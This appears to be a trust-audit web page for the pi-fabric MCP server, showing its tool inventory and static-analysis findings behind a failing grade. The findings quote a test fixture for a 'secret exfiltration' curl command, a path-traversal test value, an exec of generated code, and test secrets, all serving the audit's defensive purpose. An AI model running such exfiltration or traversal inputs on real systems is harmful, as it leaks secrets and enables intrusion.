Atlas / MCP servers / monotykamary / pi-fabric

pi-fabricBLOCK

mcp/monotykamary/pi-fabric

A programmable tool and agent runtime for Pi

Verdict
BLOCK
Grade
F
Trust score
44 /100
Exposed tools
168 126r · 32w · 10d
Transport
—
License
MIT
Stars
284
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

A programmable tool and agent runtime for [Pi](https://github.com/earendil-works/pi-coding-agent)

One program for tools, MCP, agents, workflows, actors, mesh, councils, and recursion.

[](https://www.npmjs.com/package/pi-fabric) [](https://arcprize.org/scorecards/d4c56c67-136b-4643-b648-62ae28fe2a54) [](https://github.com/fabric-runtime/pi-fabric/actions/workflows/test.yml) [](https://github.com/earendil-works/pi-coding-agent) [](LICENSE) [](https://opencollective.com/pi-fabric)

🏆 100% on ARC-AGI-3. A Fabric-powered agent won all 25 environments in one 22.4-hour session with 4 minutes of human time ($1,349 in model spend).

Fabric gives Pi one programmable tool called fabric_exec, which composes core tool

Read from source at commit cc8b45678eb0OBSERVED · 2026-10-12
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add pi-fabric --env FABRIC_IPC_TOKEN=${FABRIC_IPC_TOKEN} --env FABRIC_TEST_SECRET=${FABRIC_TEST_SECRET} --env JOINED_PASS=${JOINED_PASS} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "pi-fabric": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "FABRIC_IPC_TOKEN": "${FABRIC_IPC_TOKEN}",
        "FABRIC_TEST_SECRET": "${FABRIC_TEST_SECRET}",
        "JOINED_PASS": "${JOINED_PASS}"
      }
    }
  }
}
03

Exposed tools (168)

126 read · 32 write · 10 destructive. Blast radius: 10 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
Inspectreadphase-description-secret
Lifecyclereadconfigure-description-secret
Probereadcheck
abortreadAbort an uncommitted same-invocation hypothesis and optionally its active certificate
actwriteApply a synthetic control
activereadActive workflow
actorStatusreadRead one persistent actor
actorsreadList persistent actors. Default scope
adoptreadAttach an existing jev-fabric job from tasks.external to this session as a durable task: its output, completion notification, wait/stop and inspector row. Adopting does not restart or signal the process.
agentsreadFabric host-authorized Pi agents
allowedreadallowed
answerreadAnswer an open decision held by this participant (root or supervisor:<id>); never decisions held by \
arenareadDeterministic arena fixture
askwriteSend a message to a persistent actor through its live owner and wait for its next response. Optional model/thinking values apply only to this activation.
ask_userreadAsk
authoritysmokereadBundled capability-view check
bashwriteExecute a shell command
benchreadDispatch benchmark
callreaddemo call
canceldestructiveClear a pending compaction intent before the host commits it
carrywriteRead or update the persistent carry-forward focus list that Fabric
checkGoalwriteRun the goal predicate and report pass/fail; publishes state.goal.met when it passes
classifyreadAnswer typed questions using the native Pi classifier registry.
classify_resultwriteReport whether the exact Fabric action may run without human approval
cleanupdestructiveRemove a completed agent
clearMessagesdestructiveClear a persistent actor
closeInputwriteSend EOF to an interactive child
commitwriteConsume one same-invocation certificate and atomically attempt bounded declared-file operations with rollback and postconditions
commutereadCommutative effects
compactreadRequest an advisory compaction of a running Pi-runner child agent
complexityreadCount current structural decision points and compare them with the complexity ledger
controlwriteApply a timed motor pulse
createwriteCreate a persistent actor with independently selected session or project storage. Use scope
decisionProvidersreadList native decision adapter presets and capabilities offline. These are not verified live models or credential checks.
delegatereadDelegate-like provider
deletedestructiveDelete shared mesh state, optionally with compare-and-swap version checking
demoreadDemo provider
dependencyreadRequired dependency
describereadInspect a registered component definition, its config JSON Schema, declared requirements/provisions, and instances, even before activation.
devicefixturereadAn arbitrary external connector
disabledreadhidden
docs-api.otherreadPrecise description: other
doomreadDeterministic engine fixture
echoreadEcho a string
echo-valuereadEcho a value
effectreadunsafe side effect
effectsreadEffect conflicts
emitreadEmission provider
escalatereadPass an open decision this participant holds to the next holder in its escalation chain now
evaluatereadAsk Jev typed Choice, Noul (probability of yes), and Score questions over shared state. No generated text. Batch independent questions. Sends state to TypeSafe and consumes API credits; no automatic retries.
eventsreadRetained jev-fabric events after a sequence cursor, optionally long-polled.
examplereadexample
expandreadRead exact normalized session entries and nearby context as bounded lossless chunks. Call tools.call(next) to continue, or use guest-side memory.walk(args, visitor) to traverse complete reassembled entries.
exportreadExport a live project actor
extensionsreadfake extensions
externalreadList jev-fabric jobs in this session
fabric_execwriteFabric
find.itemreadPrecise description: find.item
fixturereadConnector-neutral offline capability fixture
flaky-pingreadPing from a serve-once fixture
followUpreadQueue a follow-up for Main or a running one-shot agent, or enqueue a persistent actor mailbox message. The stable id alias main targets the root user-facing Pi session. Non-local targets route over the project mesh.
forbiddenreadforbidden
generateImagesreadGenerate images using the native Pi image registry.
getreadRead a versioned value from shared mesh state
get-model-schemareadReturn a model schema
getModelOfTypereadFind a native Pi model.
github.get_reporeadGet a GitHub repository
goalwriteSet the executable goal predicate (Schema
grantwriteMint a scoped token that lets an outside process post untrusted events to one topic through
grantsreadList unexpired external mesh grants (never tokens)
graphreadInspect component requirement/provision edges and detected dependency cycles.
grepreadSearch source files for matching text
handoffwriteSchedule a Pi trajectory handoff after the current outer fabric_exec result, then wait for implementation at that boundary
historyreadFold the transition log from its representation archive boundary into an ordered label graph
holdreadhold
hypothesizereadDurably bind a falsifiable hypothesis and nonempty typed evidence to the current state and workspace
importwriteImport a project-independent template from the global registry into the current project as a fresh live actor with no inherited history (no messages, session, or run logs). Identify the template by id or name; optionally rename the imported actor with \
inspectreadInspect stored records
itemsreadRead synthetic items
jevreadfake jev
joinreadAlias for agents.wait: wait for a previously spawned child agent with the same progress and completion-notification behavior
leasereadHost-component scoped cache hold; use context.acquire, not tools.call. Disposal releases only this interest; paid usage is irreversible. Same native capability and bounds as cache.hold.
legacyreadLegacy provider
listreadList agent participants locally, across the current lineage, or across the project
livefixturereadSynthetic live provider
loadreadRead the branch-local JSON script store.
logwriteRead an actor or agent run
mainreadReturn the root user-facing Main Pi agent target. The stable alias main is also accepted by agents.steer and agents.followUp.
manual-onlywriteRun only when explicitly invoked.
mcpreadMock MCP provider
mcp__docs-apireadServer instructions
mcp__late-apireadLate server instructions
membersreadList the unified project topology of roots, agents, and actors
memoryreadRetrieve explicitly authorized session memory.
messagesreadRead a persistent actor
misleadingreadclaims read
modelsreadList models exposed by the selected runner. Claude models are enumerated from the installed Claude Code runtime, not hard-coded.
mutablereadMutable catalog
mutatereadmutate one value
observereadObserve a synthetic browser screen
openreadopen
ownedreadOwned resource
peersreadList other live root Pi sessions sharing this project mesh. The dashboard-owning session remains Main; these targets are named peers.
pireadPi tools
pickreadPick a session
pingreademit rapid progress
planreadValidate a component configuration change without activation or file writes. Returns a request and revision for apply, changes, trust provenance, and warnings. A plan is not approval or a connectivity check.
pressurereadRead host context pressure: tokens, window, fraction, headroom, band (ok/warn/urgent/unknown), output reserve, configured threshold, and the observed compaction owner
probereadProbe normalization stages
project_statusreadReport project status
proofsmokereadBundled conflict gate smoke
publishwriteAppend a durable event to a mesh topic, optionally addressed to one actor. notBefore (epoch ms or ISO) or afterMs schedules it instead; key makes the schedule replaceable
putwriteWrite shared mesh state, optionally with compare-and-swap version checking
raisewriteCreate a durable open decision (approval, question, or escalation) for a human or holder to answer; returns { id }
readreadRead a local file
recallreadSearch historical session memory
reconcilereadRe-read trusted component configuration and reconcile changed instances without restarting unrelated providers. Session overrides remain. Invalid edits retain the last applied state. Unavailable to committed guest views.
releasewriteIdempotently release a session-owned cache hold. Does not disable native settings or another owner
release-riskreadReview launch plans for operational risk.
reloadwriteRestart one component, or all loaded components, with rollback to the previous revision on activation failure.
removedestructiveStop and remove a persistent actor. Default scope
requestreadRequest an advisory compaction of the host session
resetdestructiveEnd any Fabric thinking override and restore the baseline level
resolveDecisionreadResolve a per-call decision target offline before credentials. No model requests or key lookup; returns target, unresolved credential env, image support, generated flag and selected profile only.
resumereadContinue a paused, completed or failed direct child from its host checkpoint and wait for result or pause
reviewreadReview <plans> &
revokedestructiveRevoke a scoped external mesh grant
runwriteDelegate work to a background agent
samplereadThird-party device fixture
savewriteSave a program as a content-addressed candidate; identical content returns the same ref. Returns { ref: \
scheduledreadList pending scheduled mesh events by due time
schemareadapproval probe
selfreadReturn this caller
sessionsreadList all live root Pi session agents in the project, including the current lineage root and peers, with symmetric participant identities.
setwriteTemporarily change the host session
setDeliveryPolicyreadReplace a project actor or global template delivery policy. steer/followUp require an explicit triggerTurn choice; mailbox/nextTurn require false.
setEventsreadReplace a persistent actor
setFollowUpModewriteSet how queued follow-up messages are delivered to a one-shot agent: all when it finishes, or one per completion (default). Local agent only.
setInstructionsreadReplace an actor\
setModeldestructiveChange or clear a persistent actor model binding. Session scope is the default; project scope explicitly pins the shared definition default.
setSteeringModewriteSet how queued steer messages are delivered to a running one-shot agent: all at once after the current turn, or one per turn (default). Local agent only.
setThinkingdestructiveChange or clear a persistent actor reasoning-effort binding. Session scope is the default; project scope explicitly pins the shared definition default.
setToolsreadReplace a persistent actor
slowreadslow call
slowextreadcaptured extension stub
spawnreadObserve future Main lifecycle events and explicitly selected content for a bounded Jev program
specreadscope test provider
startwriteStart detached work
statewriteWrite
statusreadGet the latest status of any known project participant. A terminal child-agent result acknowledges its pending completion notification; running status does not.
steerreadSteer Main, a running one-shot agent between turns, or a persistent actor through its mailbox. The stable id alias main targets the root user-facing Pi session. Non-local targets route over the project mesh.
stopwriteStop a local or remotely owned agent or actor that advertises the stop capability
storagereadFilesystem discovery capabilities
storereadStage branch-local JSON state; committed only after successful execution.
streamreademit progress on demand
subagentreadcaptured extension stub
subscribewriteCreate a durable source-qualified participant lifecycle subscription. Events are delivered to Main by default or to another participant through steer/follow-up routing.
subscriptionsreadList durable participant lifecycle subscriptions, optionally filtered by source or target
svcreadLaw-test service
switchModelreadSwitch Main
tellreadQueue a message through a persistent actor
transitionreadAppend a labeled, validated state transition and compare-and-swap advance the head
unschedulereadCancel a pending scheduled mesh event by key
unsubscribedestructiveRemove a participant lifecycle subscription
valuereadFixture value
verifyreadFail-closed verification that may issue one fresh invocation-bound single-use certificate
waitreadWait for a previously spawned child agent and acknowledge its result, suppressing a duplicate completion notification
writewriteAppend text to an interactive child
04

Trust audit

BLOCKgrade F · trust 44/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryFAIL
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)FAIL
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (7 observation(s))
Network
declared (2 observation(s))
Shell
declared (4 observation(s))
Dependencies
not all pinned
Secrets in source
found

Findings (25)

HIGHInventory / provenance · inv.suspicious_name · CWE-1104
src/actors/host-event-payload.ts
host-event-payload.ts
Why it matters. member named after an attack tool
Fix. remove or justify
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/runtime/cpython-child-source.ts:263
exec(compile(program, "fabric-exec.py", "exec"), namespace)
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHPrompt injection · prompt.credential_read · CWE-94, CWE-1427
skillsets/python/fabric-jev/SKILL.md:18
2. Inspect `await tools.call(ref="jev.status")`. Only if an authorized judgment needs missing auth, ask the user to use `/login jev` on Pi 0.85.1+ or configure host-side `TYPESAFE_API_KEY`/`jev.creden
Why it matters. asks the agent to read credentials
HIGHPrompt injection · prompt.credential_read · CWE-94, CWE-1427
skillsets/typescript/fabric-jev/SKILL.md:17
3. Only if an authorized judgment needs missing credentials, ask the user to use `/login jev` (Pi 0.85.1+) or configure host-side `TYPESAFE_API_KEY` or `jev.credentialCommand`. OpenRouter-routed ids (
Why it matters. asks the agent to read credentials
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
scripts/certification/run-context.mjs:27
const RARE_FACT = "Pinned fact: quasarneedle_7f91 maps to Ωmega雪 and port 43117.";
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
scripts/certification/run-context.mjs:469
const coldRareFact = "cold_exact_quasar_7f91 Ωmega雪 address=43117";
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
tests/shell-middleware.test.ts:15
const SECRET = "fabric-test-secret-not-a-credential";
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
tests/ui-transcript.test.ts:174
apiKey: "sk_test_secret_value",
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
cancel, cleanup, clearMessages, delete, remove, reset, revoke, setModel, setThinking, unsubscribe
Why it matters. 10 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.suspicious_name · CWE-1104
tests/monty-payload-preflight.test.ts
monty-payload-preflight.test.ts
Why it matters. member named after an attack tool
Fix. remove or justify
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
tests/memory-worker-integration.test.ts:195
const result = await exec(process.execPath, ["--input-type=module", "-e", program], { timeout: 5_000 });
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
src/memory/index.ts:73
const hash = crypto.createHash("sha1").update(sessionFile).digest("hex").slice(0, 16);
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
src/prewalk/fs-drift.ts:280
sha1 = createHash("sha1").update(await readFile(path.join(root, file))).digest("hex");
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
bench/prewalk/benchmark-prewalk.mjs:15
import { createPassiveHostSession } from "../../scripts/lib/passive-host-session.mjs";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
bench/prewalk/tests/prewalk-benchmark-tools.test.ts:24
const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
bench/prewalk/tests/prewalk-canary-abort.test.ts:8
const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
bench/prewalk/tests/prewalk-canary-task-check.test.ts:8
const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
bench/prewalk/tests/prewalk-canary-task-check.test.ts:118
["escape", '{"testFile":"../../a.test.mjs"}'],
LOWNetwork egress · net.beacon_words · CWE-200, CWE-319
tests/jev-live.test.ts:64
{ name: "secret exfiltration with hostile instructions", risk: "execute" as const, nameRef: "bash", intent: "Run local tests only. Do not send data outside this machine.", args: { command: "curl --dat
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
bench/prewalk/fixtures/lq1-continuation-probe.ts:51
baseUrl: "http://127.0.0.1:1",
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
bench/prewalk/fixtures/prewalk-contract-probe.ts:24
baseUrl: "http://127.0.0.1:1",
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
docs/agents.md:348
const daemon = "http://127.0.0.1:7777"; // hypothetical job daemon
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/fixtures/handoff-continuation-extension.ts:17
baseUrl: "http://127.0.0.1:1",
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
tests/fixtures/managed-install-provider.ts:9
baseUrl: "http://127.0.0.1:1",
LOWObfuscation / stealth · obf.anti_debug · CWE-506, CWE-94
tests/cpython-runtime.test.ts:392
it.skipIf(process.platform !== "darwin" || !installedSandbox)("denies signaling and ptrace against a sacrificial host process", async () => {

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha cc8b45678eb0full audit observations/trust-audit/mcp-server/monotykamary__pi-fabric.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12cc8b45678eb0BLOCKF44first audit
06

Questions

What is the pi-fabric MCP server?

A programmable tool and agent runtime for Pi

What tools does pi-fabric expose?

168 in total: 126 read-only, 32 that write, and 10 that can delete or overwrite (cancel, cleanup, clearMessages, delete, remove). Every one is listed on this page with its risk.

Is pi-fabric safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (44/100) and found 4 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 10 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does pi-fabric need?

It reads FABRIC_IPC_TOKEN, FABRIC_TEST_SECRET and JOINED_PASS from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (cc8b45678eb0), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement